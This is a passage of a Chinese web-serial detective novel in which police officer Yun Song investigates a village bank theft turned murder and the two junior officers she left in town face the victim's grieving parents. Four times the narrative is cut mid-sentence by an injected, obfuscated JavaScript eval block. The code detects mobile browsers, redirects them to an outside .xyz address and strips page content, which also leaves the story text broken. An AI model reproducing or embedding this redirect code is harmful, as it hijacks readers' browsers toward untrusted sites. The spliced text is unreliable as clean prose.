“那你们知不知道他平时跟谁关系好?” “大家一个村子的,谈不上关系好关系不好。他是在镇上犯什么事情了吗?” “我们还在侦查中,需要他配合调查。” “是镇上那个银行被偷的事情吧?我觉得跟他应该没关系,我感觉他胆子没有那么大。” “他这段时间有没有什么异常的举动?” “那我们也不知道啊,你看,这地里,这田里,忙得很。” 如果是对农村没有了解,可能会被糊弄过去,觉得大家态度挺好的,有问必有答,还很热情。 但云松不一样,她虽说在城里出生长大,可她以前有被拐卖到一个村子里面,她能不知道挨着住的人对彼此了解有多深,她在那个村子的时候,就亲眼看到过村子里平时是仇人的两家人,在遇到外来人的时候会立马团结起来。 云松现在虽说有警察的身份,可在这里的人的眼中警察只是短暂地来一会儿,很快就会回城里面去,而他们自己还要继续在这里生活。 如此一来,自然是本着能不得罪人就不得罪人的原则。她上一次询问的时候还属于盗窃案犯罪嫌疑人。 现在盗窃案变成了杀人案。如果被杀的人是本村人,可能更好突破村里人的团结防线。 但死者是隔壁镇的人,没有威胁到村子里的人。 云松知道这些,所以这一次上来走访,心里头依旧不乐观,再说了,她心里头其实也有自己的顾虑,不好逼着谁出来说话,毕竟这些人的顾虑也没错。 她是警察,她的工作就是上来查个案子,十天半个月就回去了,到时候别人因为给她透露消息,被村子里的人排挤了怎么办?她能为人负责吗? 这也是为什么这一次她上来,梅悦和梅悦家人要请她吃饭,她马上拒绝了。 她有些担心后续梅家什么都没说,但被村子里的人觉得她们家说了。 她一个一个地单独走访村子里的人,尽量在田野间制造出一对一的问询环境,不让人知道她们对自己说了什么。 “警察同志,我真的不知道他们家是什么情况。”中年男人一边浇粪,一边乐呵呵地说道:“我没事也不能盯着别人家看啊。” “那你们村子谁对他比较了解?” “这我就更不清楚了,警察同志,你是城里人,肯定每天都比较清闲,你们不知道我们这些庄稼人每天有多忙,天不亮,我们就得去山里天黑了才能回来,看这些地里,下面那些田里,都离不得人,稍微不注意,一年就白干了,我们这个样子,哪有空去管别人家里的事情。” 云松脑海里全都是过去在杏花村的经历,正因为辛苦,所以大家会争分夺秒地想要去八卦一些事情,她当时还琢磨过这个现象,觉得这种环境中的八卦,是一种特殊的群体性心理治疗。 她面上不显,说道:“这倒也是。” 然后紧接着这个中年男人就忍不住问道—— “他是不是犯大事了?是偷银行后杀人吗?你们那个银行被偷案查出来了吗?听说丢了好几万块钱,找到了没有?” 看——这么忙的时候,还是想要八卦一下。 云松说道:“你们是从哪儿听说的这件事?” “镇上的人都在说啊。” “你们不是忙到没有时间了解别人的事情吗?” “我们想要知道的都是这些大事,谁家和谁家关系好不好,这种小事我们没空知道。” 村子里的人都是人精,不仅不想说自己知道的事情,还想从警察嘴里掏点事情出来。 云松只能去问下一个。 “啊?啊?”老太太指了指自己的耳朵:“听不懂。” “想向你询问一下王家旺的事情。” “家旺啊!是啊,家里要旺啊!” 云松:“……”谢谢提醒这个名字的含义。 云松就这样折腾了两个多小时,眼看天都要黑了,还是没有多少进展。 梅悦一直在看着云松的方向,她知道的事情比较少,她就是一个小孩子,还活在自己的世界里,平常除了爱读书就是爱去山沟沟里砸螃蟹,村子里的人,村子里的事,她知道的少。她特别想帮忙,可她帮不了,只能问她妈妈。 “妈妈,你知道那个王叔叔吗?他在外面杀人了。整个镇子都在说这件事情。”在学校的时候她还有些害怕,回到家里就完全不怕了。 她们家这个四四方方的小土房子,对于小梅来说,这里就是这个世界上最安全的地方,任何鬼呀怪呀,都不能进来。 “大人的事情,你一个小孩子别掺和,快去写作业。”小梅的妈妈也在想这件事。 梅悦的妈妈名叫宁香秀,她对于云松很感激,感激对方之前在学校帮忙说话,让自己女儿顺利读书。 她自觉欠了一个大人情,心里头便想把云松当做贵客看待,把云松接到家里,要做饭招待她。 结果云松要忙着去问大家关于王家旺的事情,不能来吃饭。 现在女儿一说,她也反应过来了,她看着远处在山坡上和人说话的云松。 宁香秀有些奇怪,云松怎么不来问她? 云松多问了几个村里人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651405|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确保和每一个村里人一对一聊了十分钟,这才回到梅家这边,来找宁香秀。 “我刚才还在想呢,你怎么不来问我?”宁香秀本来准备去挑水,现在放下了担子,她这个人性格很直,直接就把心里的疑惑说出来了。 云松解释道:“我跟你家梅悦一起来了村里,到时候我要是查出来什么,不管你们家有没有说,大家可能会怀疑是你们家说出来的,所以我先去问一下其他人,跟他们聊天的时候,他们就能知道我没有从你们家梅悦那里得到任何信息。” “那他们说了吗?”宁香秀问道,她心里其实有答案。 云松摇头。 宁香秀一点都不意外大家没说。 她立马说道:“你是想问王家旺什么事情?只要是我知道的事情,我都可以告诉你。” 宁香秀知道云松这个帮过自己的警察同志要问事情,她本来就准备说,只是一开始的时候发现对方居然不问自己,她心里还有点失落,现在听云松说了背后的原因,觉得对方为自己考虑得周到,心里一阵暖意,更加觉得自己必须说。 宁香秀没有多少文化,她自幼丧父,母亲带着她改嫁,后面又有了弟弟妹妹,她小时候在家里便有种外人的感觉,那个时候,能够给她带来快乐的便是露天电影,她们村子的向梅阿姨是个非常勤快的放映员,无论夏天还是冬天,只要有空,她就会给大家放电影,小宁香秀也就有了机会反反复复地去看那些电影,她经常看电影看得痴迷,经常会忘了吃饭,她对电影里那些人也推崇备至,那个时候的电影,多数是讲诉战争中的英雄儿女的故事,她常常把那里面的人当做自己学习的榜样。 这也是为什么村子里第一个孩子是女儿一定会追生儿子的时候,她坚守了国家的独生子女政策,别人觉得她糊涂,她也觉得别人糊涂。在别人觉得女娃子读书就是会写名字,会算数就行,她非得让自己的娃读初中,以后还要读高中…… 此刻,她对于自己要积极配合警察查案,即将打破村子里的其他人不敢打破的事情,她不觉得害怕,她反而有种骄傲的情绪在。 云松反而心里头顾虑更多,她确定没有人注意这边,这才把人拉到了后面的山坡上,这样一来不会让人怀疑什么。 毕竟其他人都是在山坡上问,在田里问,她们要是在屋子里问,反而招人怀疑。 云松确定没有人能听到,这才说道:“我跟村子里大人们都说了话,大家都不知道彼此说了什么,到时候别人要是问你,你也别说实话,你到时候就说,你跟我说的是庄稼地里忙,没有时间管别人家的事情,你们村子绝大多数人都用的这个借口。” “放心,我懂这些!他们害不到我,到时候谁怀疑我,我就怀疑谁。”宁香秀心里头觉得眼前的警察是真的为她考虑,她说道:“你是想问什么?” “他在村子里是一个什么样的人?平常为人处事如何?他在村子里面有没有关系比较好的人?有没有关系比较差的人?” 13.银行被偷案(十三) 第十三章 宁香秀知道了云松想知道的事情,可现在天也要黑了,而且王家旺身上的事情可不少,一时半会儿也说不完。 再说了,两个人在山坡上不敢多说,毕竟和别人就说10分钟,和宁香秀一说就停不下来,未免也太明显了。 于是,宁香秀小声问道:“咱们晚上再说吧,你今天晚上住哪儿?” “今天晚上住村支书家里。” “那行,晚上等大家都睡了,你偷偷出来咱们俩去松树林后面慢慢说。”宁香秀瞅了瞅这个年轻的警察,想起了对方是从城里来的,又问道:“晚上出来可能有点吓人,你怕不怕?” 云松摇头:“这个我不怕,到时候你出来的时候,就在村支书家外面学三次斑鸠叫,我听到了就过来找你。” 宁香秀回去的时候还有些高兴,她觉得自己简直就像电影里的那些在敌人监视下传达信息的主角一样。 另一边,云松在村支书家和她们一起吃了饭,这家人很热情,只要不聊案子,大家对警察都很热情。 主要还是想从警察这里套一点关于银行被偷镇上尸体的事情来。 她陪着这家人一起做猪食,喂猪,终于开始洗漱,睡觉。 夜晚降临,群山沉睡,忙了一天的人们也慢慢进入了梦乡。 云松睁着眼睛,安静地等着,等村支书家的其他人睡着。 她不可控制地想起了过去的事情,想起了自己曾经也是这样,等群山睡去,等山里的人睡去。 想起这些事情,她便想起了她还没有抓到的人贩子。 她们当初只抓到了给人贩子通风报信的人,人贩子依旧隐藏在人海中。 云松警察学校出来后,她其实想专门去查人贩子的案子,可现实是她毫无头绪,她在派出所工作,而她每天要做的事情也非常杂,辖区内的大案轮不到她,她负责的事情,要么是帮迷路的老人找亲人,要么就是辖区内夫妻吵架,她经常会有种自己没有在自己应该在的位置的感觉。 不是她不想管这些事情,而是有种很不舒服的感觉—— 在她不知道的地方,人贩子们在继续拐卖人口,而她在管夫妻吵架影响了楼下休息…… 甚至……她的劝导还不被理解,好几次她劝完,两口子就要离婚,眼看着就要各自奔向幸福,她自己觉得挺好的,结果,第二天,两口子的父母就来找她麻烦,说她毁了人家家庭。 唉。云松觉得自己这辈子都没有这么挫败过。 这一次来镇上查案,是云松自愿的,这边交通不便,离城里又远,而且还是盗窃案,上面并没有很重视这个案子。 现在,盗窃案变成了杀人案,她已经让唐朝汇报上去了。 不知道过了多久,云松听到外面传来了三声“咕咕咕——咕咕咕——咕咕咕~” 宁香秀还有些担心云松出来的时候会不会把大家也弄醒了。 然后,她没有听到任何动静,眼睛一直看着村支书家的门,门一直没开,结果一回过头,云松在她身后,如同鬼魅一般。 宁香秀被吓得一激灵。 云松赶紧道歉:“对不起,我习惯了没有声音。” “没事,你是一直在外面等我吗?” “没有,我刚出来。” “可我刚才一直看着门那边,没有人出来。”宁香秀说起来还有点害怕。 “我翻窗出来的。” “哦,难怪。”宁香秀好奇心得到了满足,便不再纠结这个事情,说道:“走,我们去松树林那边,那边都是坟山,没有活人。” 于是,同林镇三里村的第一次警民合作就在这个深夜达成了。 宁香秀是十八年前嫁过来的,她来的时候,王家旺还是二十几岁的小伙子,正是说亲的年纪。 两个人一边走,宁香秀便说起了自己当年听到的一些事情。 “他年轻时性格很不错,那个时候村子里有点事情,他也很愿意帮忙,见人也是三分笑。就是一个长得还不错很老实的小伙子。” “我那个时候还奇怪,不明白他怎么找不到媳妇儿,后来我听其他人说,他十来岁的时候,有一天晚上,村子里其他人都睡下了,大概是凌晨的样子,突然大家的门就被敲开了,他慌里慌张地跑过来,说是家里进贼了,要大家去帮忙。” “那个时候,他父亲已经瘫痪了好几年了,家里就孤儿寡母两个人,大家听了肯定都拿着锄头,拿着棒棒要去帮忙,结果到了以后,就看到了他妈和另外一个男人在柴房里,那个男人自己也有老婆,现在他老婆也来了,看到这个情况,立马就去打人,又骂人偷汉子……唉,那个时候比现在保守很多,又是这么多人知道了,其他人也不好说什么,他妈当时羞愤难当,就当着大家的面投了井。”宁香秀说起这件事,她觉得罪不至死。 的确王家旺的母亲也有错,但这件事实在是罪不至死。 “事后,王家旺也没哭,也没说什么,大家也不知道他懂不懂当时是什么情况,但私下里,一部分人说,他又不是三四岁,都十几岁了,哪有不懂的,肯定就是故意的,就是恨自己母亲背叛自己父亲,所以故意让她丢脸。”也就是因为这个说法,大家都觉得他心狠,也就没人愿意把女儿嫁给他。 宁香秀说得比较含蓄,云松听了个大概。 “那个男人是谁?” “这……大家没说。”估计是人还活着,传的时候就把这个男人的姓名隐去了。 “王家旺在村子里有没有关系很差的人家?” “他和我男人的二叔家关系好,一开始,他想要娶我男人二叔家的女儿,我男人二叔的女儿没看上,拒绝了,我男人二叔是个实心肠的人,虽然没把女儿嫁给他,但对他很好,一去二来,两个人关系就很好。” “不过,我男人的二叔家都是老实人,不会杀人。这个我可以打包票。”当初,小梅考上初中,家里其他人说话总是有点阴阳怪气的,要么说可惜了是个女儿,要么就说小梅是运气好。 只有二叔,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657990|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家专门去镇上买了个书包送给小梅,还说小梅给梅家争光了。就这件事,宁香秀就觉得二叔是个老实的好人。 云松点了点头,表示知道了。 两个人一边打蚊子,一边进行一场警民合作。 云松又问了几个问题,宁香秀只要是知道,都说了。 最后,两个人都有点困了,开始打哈欠。 “我们回去吧,今天实在是辛苦你了。”云松说道。 “这有什么辛苦的?就说了几句话而已。说起来,上一次的事情,真的多亏你帮我姑娘说话,要不然,还不知道会怎样。” “那件事不用放在心上。”云松说道。 两个人边说边往回走,秋天的夜晚,两边的田依旧有青蛙的叫声。 宁香秀走着夜路,往回走,突然吹来一阵夜风,吹的树叶沙沙作响,怪唬人的。 宁香秀想起了另一件事。 “这种晚上,我都不太敢出来,我家小梅还敢天不亮就往镇上去,还走坟山这边的小路,你说她胆子怎么这么大啊?” 她说起来就觉得好笑,“当时学校不是要她退学吗?她自己就准备一个人去镇上打工,她那个脑子哦,还怕我们不同意,天不亮就走了。昨天我拿这件事情逗她,她还不好意思了。” 云松也忍不住跟着一起感叹小梅的胆子真大。 “那天还好遇到了二叔,二叔专门把小梅送回来了,二叔真是个好人。” 云松也跟着点头,觉得人的确挺好的。 然而下一秒,云松意识到有点不对劲。 “是哪一天?他在哪儿遇到小梅的?” 宁香秀愣了一下,这才意识到不对啊,小梅回来的时候,手里的松油火把早就烧完了,那肯定就不是在家附近被逮回来的。 她是去镇上。 那二叔在那个时间在去镇上的路上做什么? —————————————————— 小梅的二爷爷从警察来村里就开始紧张了。 他也没有想到警察能查得那么快,他一直心里都抱着侥幸,这些警察毕竟是城里人,来同林镇肯定也待不了太久,要是查不出来肯定就会回去。 可没有想到,她们居然找到了田贵的尸体,确定了田贵王家旺和银行被偷的事情有关系。 而且他还听说,这三个警察不知道怎么就知道了镇上一对夫妻去偷东西,还把人关在地窖里。 听说,田贵尸体,也是警察感觉出来的。 他也不知道警察们怎么知道这些事情,正因为他不知道警察怎么知道的,所以才会更加的恐慌。 现在警察在村子里,他一直避着人,怕被发现自己的秘密。 他心里头很是后悔,后悔自己被钱迷了眼睛,他一辈子的好名声没了,真是给自己的先人蒙羞! 他脑海里还是不断地想起那天晚上的事情,王家旺和他喝酒,对方问他—— “二叔,你见过两万块钱吗?厚厚两叠。你见过吗?” 14.银行被偷案(十四) 第十四章 云松后半夜也没睡好,醒着的时候一直在想这次这个案子,后面好不容易睡一会儿,很快就天亮了。 早上在村支书家吃了饭,她便去了梅悦的二爷爷家。 “大姐,梅强在家吗?”梅强是二爷爷的大名。 院子里,一个女人拿着木棍,正在一个大木桶里搅拌猪食。 昨天,云松的走访的时候,很多人都是在山里地里,但她问过了这些人的家在哪儿,自然也记得这家人当时没有走访到。 她记得当时来这里,家里没有人。 “他一大早去后山里放羊了。”女人回过头,说道。 女人大概六十岁上下,和村子里其他这个年纪的妇人一样,有一张劳动人民的脸,布满了皱纹和晒斑,因为常年的体力劳动,背微驼,整个人很瘦,一双手却很有力,此时正提着一大桶猪食。 “哪个山?”云松问道。 “这我就不知道了,警察同志,你是城里人,不懂我们乡下人,这放羊都是满山跑,这谁能说得准是哪座山?”老大姐一本正经地说谎。 云松道:“那我和你聊聊也是一样的。每家每户我都要问问才行。” “那你等他回来吧,我也不知道你们说的什么事情。” “我一天到晚的都在家里,哪里知道那么多。” “那也行,我在这里等他回来吧。”云松说着,搬了一个凳子,在一旁坐了下来。 她拿出了一个本子,在上面继续整理这一次的案子。 老大姐提着猪食去了猪圈,四头大肥猪哼唧哼唧的就上来了,她拿根棍子,挨个敲脑袋,先把大肥猪赶到一边,这才把猪食倒进食槽里。 老大姐喂了猪,出来,那个年轻警察就坐在不远处,正在写着什么。 她这两天也听说了这些警察是城里来的专门来查银行被偷的案子,听说这一次银行被偷的事情跟村子里的王家旺有关,而且,还有一个人死掉了。 王家旺那个人,经常来找她男人喝酒,好像前段时间还一起喝了酒…… 不过这件事肯定不能说。 老大姐又将就这个桶,接了一桶水,回猪圈,倒进水槽,旁边的猪哼唧哼唧地吃得正香。 老大姐忍不住感叹说道:“你说那个警察是怎么知道尸体在粪坑里的?也不知道她们怎么把尸体弄上来的?” 老大姐再出来时,警察依旧坐在那里,正在写着什么。也不知道在写什么。 三里村偏远还穷,平常都是本村人,来来回回说点事也都是本村人的事情。 这几年也不知道怎么回事,也没有露天电影看了,老大姐小时候偶尔会有那种唱戏的人,她虽然听不懂,可依旧觉得开心,年轻的时候是看露天电影,那个时候白天干活,晚上运气好就去晒谷坝子里看电影,有一次她们为了看电影,把晒谷坝旁边的树都挤倒了。 这几年不知道怎么就没有多少露天电影了,忙完一天也没什么盼头了。 来来回回说的,都是那几个龙门阵,没什么意思。 好不容易镇上发生了点事情,还是个大事,又是银行被偷,又是死人的,结果也不知道到底怎么回事。 警察就在这里坐着,她和村子里有些直接大大咧咧地问八卦不一样,她心里还是会担心自己去问会招人嫌。 老大姐走过去,走过来。 最后,老大姐终于还是忍不住问道:“警察同志,你不着急回镇上吗?” “不急,我们同事已经通知了县里的警察,他们还要派法医过来检查尸体,这个尸体有些奇怪……” 老大姐觉得自己的嘴都不是自己的了。 她忍不住在旁边坐了下来,心里痒痒的,问道:“这哪儿奇怪了?” 云松道:“他们应该是两个人去偷银行,不知道为什么拆伙了。” 云松昨天就光和这些村民打嘴仗了,她昨天晚上睡不着的时候,除了琢磨一下自己那无处安放的人生,还是抽了点时间琢磨一下怎么套话。 同林镇人有一个非常大的特点,那就是八卦。 云松之前在镇上的时候就发现了,要想捕捉一个同林镇人,就让两个人吵架,保管一大堆同林镇人都围上去。 这里土地贫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672547|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘠交通不便,同林镇的先辈们因为这种信息不流通吃了很多苦,导致她们对别人身上发生的事情的好奇几乎是刻进了基因里。 而云松自己身上就贴满了八卦的标签,她只需要换一下方式等人上门问她就行。 老大姐立马说道:“肯定是想要独吞钱,你不知道,以前见不到钱还好,自从镇上搞了砖厂,搞了那个纺织厂,慢慢地有了钱,很多人都像是疯了一样。” 云松恍然大悟状:“还有这种事情啊?我们城里这种情况不多。”其实也多。 老大姐心里还是记得自己男人说过,要是警察来了,不要说王家旺的事情,但她现在没有说王家旺,她说道:“镇上也不是第一次偷东西了,之前就出现过好几次了,但以前是砖厂的电线被偷,所以都没有警察来查。” 老大姐想了想,说道:“这种警察来也查不到吧?” “也不一定。”云松说道:“我们之前在外面就办过一个案子,也是有一户人家老是被偷,” 两个人慢慢的就开始聊了起来。 另一边,二爷爷在山里放羊。 他这辈子从来没有这么难受过,现在只能不停地安慰自己。 警察都是城里人,查不出来什么,她们就得回城里去。 他走的时候跟家里的人说过了,不要跟警察说王家旺的事情,应该不会有事。 他心里太过于难受了,感觉脚下每一片土地都有点扎脚,站不住,他昨天做梦都是被警察抓住了。 他往后山方向继续走。 后山上有一个山洞,那里平常堆的是油菜杆子。 二爷爷走进山洞,径直走到了最里面,油菜杆子被一层一层地扒开。 一个塑料袋子露了出来,塑料袋子里面是一张一张的百元大钞。 他忍不住摸了摸塑料袋子。 钱啊。都是钱啊。 只要熬过去,只要熬到警察离开,这些钱就都是他的了。 这些钱都是他的,他一个人的,没有任何人知道。 于是,在这个黑压压的山洞里,对于钱的渴求慢慢地压过了恐惧。 15.银行被偷案(十五) 第十五章 云松本来应该回镇上,镇上有尸体,还有廖家小两口。 云松原本的计划是自己来村子走访,看看情况,法医要从城里过来,到时候自己铁定就回去了。 可现在,她有了点眉目,不好离开,可镇上那边等到法医过来,到时候按照八卦的传播速度,死者田贵的家属肯定也过来了,到时候可能会面对新的麻烦。 唐朝和佟锦都算是新人,刚毕业没多久,不知道两个人能不能应对。 此时,镇上的两个人的确遇到了麻烦。 两个人头天早上送云松出门时,云松就差拉着两个人的手了,她很细心地嘱咐—— “我已经向县那边申请法医过来进行尸检,估计今天下午能到,到时候唐朝负责接待。” “廖家小两口的《呈请拘留报告书》我已经写好了,法医到了以后,交给她,让她带回城里。” 本来云松说下午就回来,结果云松去了就没有回来。 而且,法医也没有来,县里的法医去外省了,现在县里在打报告,让市里面调法医过来。 这得再等一两天才行。 法医没来就算了,死者的家属来了。 死者的父母都是六七十岁的人了,白发人送黑发人。 “儿啊!你怎么忍心抛下我们啊!” “本来还想着今年你回来过年,到时候再给你找个媳妇儿啊。” “老天爷啊,你不长眼,让我们白发人送黑发人啊!” 两个老人哭得伤心,唐朝和佟锦也忍不住红了眼眶。 然而,很快两个人就遇到麻烦了。 老两口就抬了一口棺材过来,要带走死者尸体,回去入土为安。 “老人家,事情是这样的,你儿子是被人杀害的,暂时不能带走,我们的法医很快就过来了。等到尸检结束才能带走。”佟锦说道。 “什么意思?” “尸检就是要把人开膛破肚……”外面看热闹的人突然冒出来了一句。 两个老人家原本不懂,现在一听立马就摇头。 “不行!绝对不行!我们不同意。” 唐朝说道:“《中华人民共和国刑事诉讼法》第一百三十一条规定,公安机关——” 她还没有说完,老太太已经狠了眼神:“我不管你们什么机关不机关,今天你们要是把我儿子开膛破肚了,我们就跟你们拼命!” 学校的老师和校长赶紧帮忙拦住了,她们也开始劝两位老人:“尸检是办案需要。你们也不想害死你们孩子的凶手逍遥法外吧?” 可两位老人都觉得这是一伙的,说道:“我看那些戏文里,当官的找凶手都不用把人开膛破肚了!” “我不管,今天谁要是动我儿子,我就跟谁拼命!” 佟锦:“……”倒也不用到这个程度,她们是警察,不是来索命的。 佟锦想起了之前的事情。 她想了想,踮起脚,在唐朝耳边说道:“我有一个办法,咱们留一个人在这儿守着他们不允许他们把尸体带走,然后一个人去找老太太帮忙。” 无论是学校老师,还是学校校长,其实对于老人家来说,都是敌对方,越说,她们越激动。 “我们谁留下来?”唐朝说完,看了看佟锦的体格,再看了看自己的体格。 “快去快回。我可能撑不了太久。”唐朝说道。 佟锦点了点头,表示自己知道,赶紧跑去张老太太家—— “老人家!老人家!来活了!” 她敲门,里面却没有人开门。 “老人家?”是不是不在家? 佟锦这才想起来,同林镇人和城里不太一样,城里有人在家也会把门关上,同林镇这边有人在家就不会关门。 现在门关着,可能就是不在家吧。 她正准备离开,旁边的门打开了,廖家小两口在家里补觉,听到敲门声便过来开门。 “警察同志?” “你们隔壁的张老太太怎么不在家?” “在家吧,她的鞋子都在外面。”老太太很讲究在家里穿的是柔软的布鞋,出门穿的是胶鞋。 于是,小两口又去敲门。 “张老太太,警察同志找你。” 门这才打开,只见之前的老人家眼睛红肿,像是哭过。 老人家说道:“人老了,睡迷糊了。” 她打了打哈欠,又不像是出了什么事情,她这个年纪啊,哪有那么多时间可以去哭一场。 佟锦也没有时间培养感情了,嘴里全是金钱:“老太太,有个事情想请你帮个忙,五块钱。” 佟锦不怎么缺钱,所以对于今天又是贴钱上班的一天,并没有太在意。 老太太原本情绪很低落,一听这话,立马就又精神了起来,赶紧换鞋子,说道:“是什么事情?” 她迫不及待要上岗干活了。 佟锦说道:“之前发现的那名死者,我们要进行尸检查明死亡的原因和时间,但死者的父母过来了,想要把死者带回去入土为安,现在要跟我们拼命。” 老太太跟在佟锦身边,叹了一口气,说道:“白发人送黑发人,可怜啊。” 佟锦道:“是啊,所以我们也没有更好的办法了。想请你帮帮忙,你是本地人,见过的事情多,肯定更有办法。” 就像上一次他们去解救老人,那两个老人一点都不相信她们三个警察,还需要找本地熟人帮忙作证。 比起她们警察,比起帮警察的老师和校长,这两个失去孩子的老人肯定会对同样是本地老人的张老太太更信任。 老太太点了点头,路上,佟锦说了情况,老太太听了死者是银行被偷案的嫌疑人后,叹了一口气,说道:“唉,还是别人家的儿子孝顺啊。” 佟锦啊了一声,想不出来自己刚才说的那一大段话中,包括了,偷砖厂的铜线,偷银行,被人抛尸在粪坑里,到底有哪一个事情能够让这个老人听出孝顺两个字。 “你看,别人家的儿子就知道偷外面的东西。”老人家小声说道。 佟锦没听清楚对方说的话,她们已经到了搭的棚子了。 唐朝一个大高个,现在被两个矮了两个头的老人家逼到了角落了。 佟锦赶紧过去帮忙,老太太便混进了人群中,她又瘦又矮,再加上比其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681783|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看热闹的人多了一股五块钱的劲儿。 很快,她就到了这对父母面前,她开口说道:“哪有父母要儿子尸体都要不到的,你们好歹让她们看看自己的孩子!” 佟锦不明白对方为什么这么做,可她还是信任这个老人家。 于是,她说道:“那先让她们两个老人进去看看。” 因着她说话有用,于是,其他人也给了张老太太一个面子,就没有再往里冲。 两个老人被放了进去,张老太太也跟着进去了。 唐朝守在棚子外面,佟锦跟着一起进去了。 进去以后,看着自己的儿子泡得肿胀起来的身体,两个老人又哭了起来,哪有白发人送黑发人不难过的。 张老太太也跟着一起哭,她哭得甚至更大声。 “我们哭儿子,你哭什么?” 这个老太太哭得太影响人了。 “我是心疼你们啊,这么孝顺的儿子,说没了就没了,我想想都觉得难过。”老人家说着说着,眼泪掉的同时,人也哽咽了起来。 旁边的佟锦都被她哭动容了,完全看不出来这个老人家是自己请来的帮手。 “这么好的孩子,怎么就抛下了自己的爹妈啊!” 张老太太越说越伤心,真情实感的伤心:“你们儿子是真孝顺啊,认真挣钱,对你们也好,不像我那个儿子啊,你们家这样好的孩子,怎么说没了就没了。” 老两口子本来沉浸在痛苦中,现在听着这些话,虽说没有说出来,可心里还是对自己这个儿子有点生气了。 如果儿子孝顺一点,听她们的话,老老实实地结婚生孩子,留在雨兰镇,又怎么会有这种事情啊? 如果他孝顺一点,不要去跟那些混子三个四个地喝酒,常回老家看看,又怎么会让他们老两口白发人送黑发人啊? 张老太太不知道他们的心思,她是真的觉得很难过,抹了抹眼泪,继续说道:“这么好的孩子,哪里会偷银行,我猜肯定是别人偷银行,被他看到了,然后他就被害了,可怜的孩子啊!现在死了,还要被说偷银行,一分钱都没有拿到,那个真正偷银行的人不知道拿着钱过得有多好!” 两个老人想起了这件事,也恨起那个偷银行的人。 张老太太继续说道:“银行说不一定也觉得是这个孩子干的,现在钱找不回来了,到时候说不一定要你们赔钱。那些银行啊,都不是什么好人,到时候觉得你们儿子把钱都给你们了,到时候可怎么办啊?” “我们一分钱都没有拿到,他们怎么能这样?” 佟锦在旁边听着,这才感受到老一辈在人情世故上的厉害,这些话,就算是她们警察想到了,就算她们警察来说,也达不到这个老太太来说的效果。 而且她们警察也不能这样说,毕竟田贵八成就是偷银行的人,她们要是说了,后面查出来,不好给两个老人交代。但张老太太可以随便说,她又不是警察,不需要给交代。 而这个时候,张老太太转过头,看向了佟锦,说道:“警察同志啊,你们得帮帮她们啊。” 佟锦:“……” 一下子从恶人变成了人民的好同志。 16.银行被偷案(十六) 第十六章 那个警察还是没走,那个警察昨天来的,他本来以为今天早上就会走。 小梅的二爷爷梅强回来时,那个警察不仅没有走,而且还在他们家院子里和他老婆说话。 王家旺没找到,镇上还有尸体,她为什么就是不走了! 她发现了什么吗? 他老婆会不会说了什么? 他远远地看着,心都快要跳出来了,他脑海里想到的都是过去看的露天电影,那里面被枪毙的人。 二爷爷往回走了几步,整个腿都在发软,他咽了咽口水,继续往前走。 院子里的声音逐渐清晰起来,他听到他老婆乐呵呵地说道—— “还是你们城里头好啊,我们这种地方挣钱不容易,之前镇上说要收洋喇子壳壳,说是十五块钱一斤,我和我屋头男人天天晚上不睡觉,到处找这个壳壳,弄了一大包,才半斤,结果又不收了。” “洋辣子壳壳?我能看看吗?”那个警察说道。 梅强赶紧进去,他说道:“这是镇上的警察同志吧?稀客稀客。” 云松本身也是在等人回来,她几乎是一眼就看出来了对方的不正常,眼前的人在努力装成正常的样子。 张竹珍,云松已经知道她的名字了,她叫张竹珍,张竹珍也才想起来还没给人倒茶,赶紧说道:“看我,都没把你当外人了。” 她赶紧进屋子里去倒茶,云松并没有阻止,她现在需要和梅强单独交流一下。 云松已经大概知道了眼前的人的过去,他并没有多少撒谎做坏事的经验,而且在同林镇,这里的人几乎没有和警察打交道的经验,警察这个群体就活在人们的想象中,混合着过去的电影和一些戏剧里的形象。 云松板着脸,不再用刚才和张竹珍的语气,她变得严肃,眼睛盯着人,说道:“你是梅强吗?” 对方脸上的笑几乎是僵在脸上,说道:“我……我是。” “我是平城公安局南区分局金光路派出所民警云松,我们这里有一起案子需要你配合调查。” 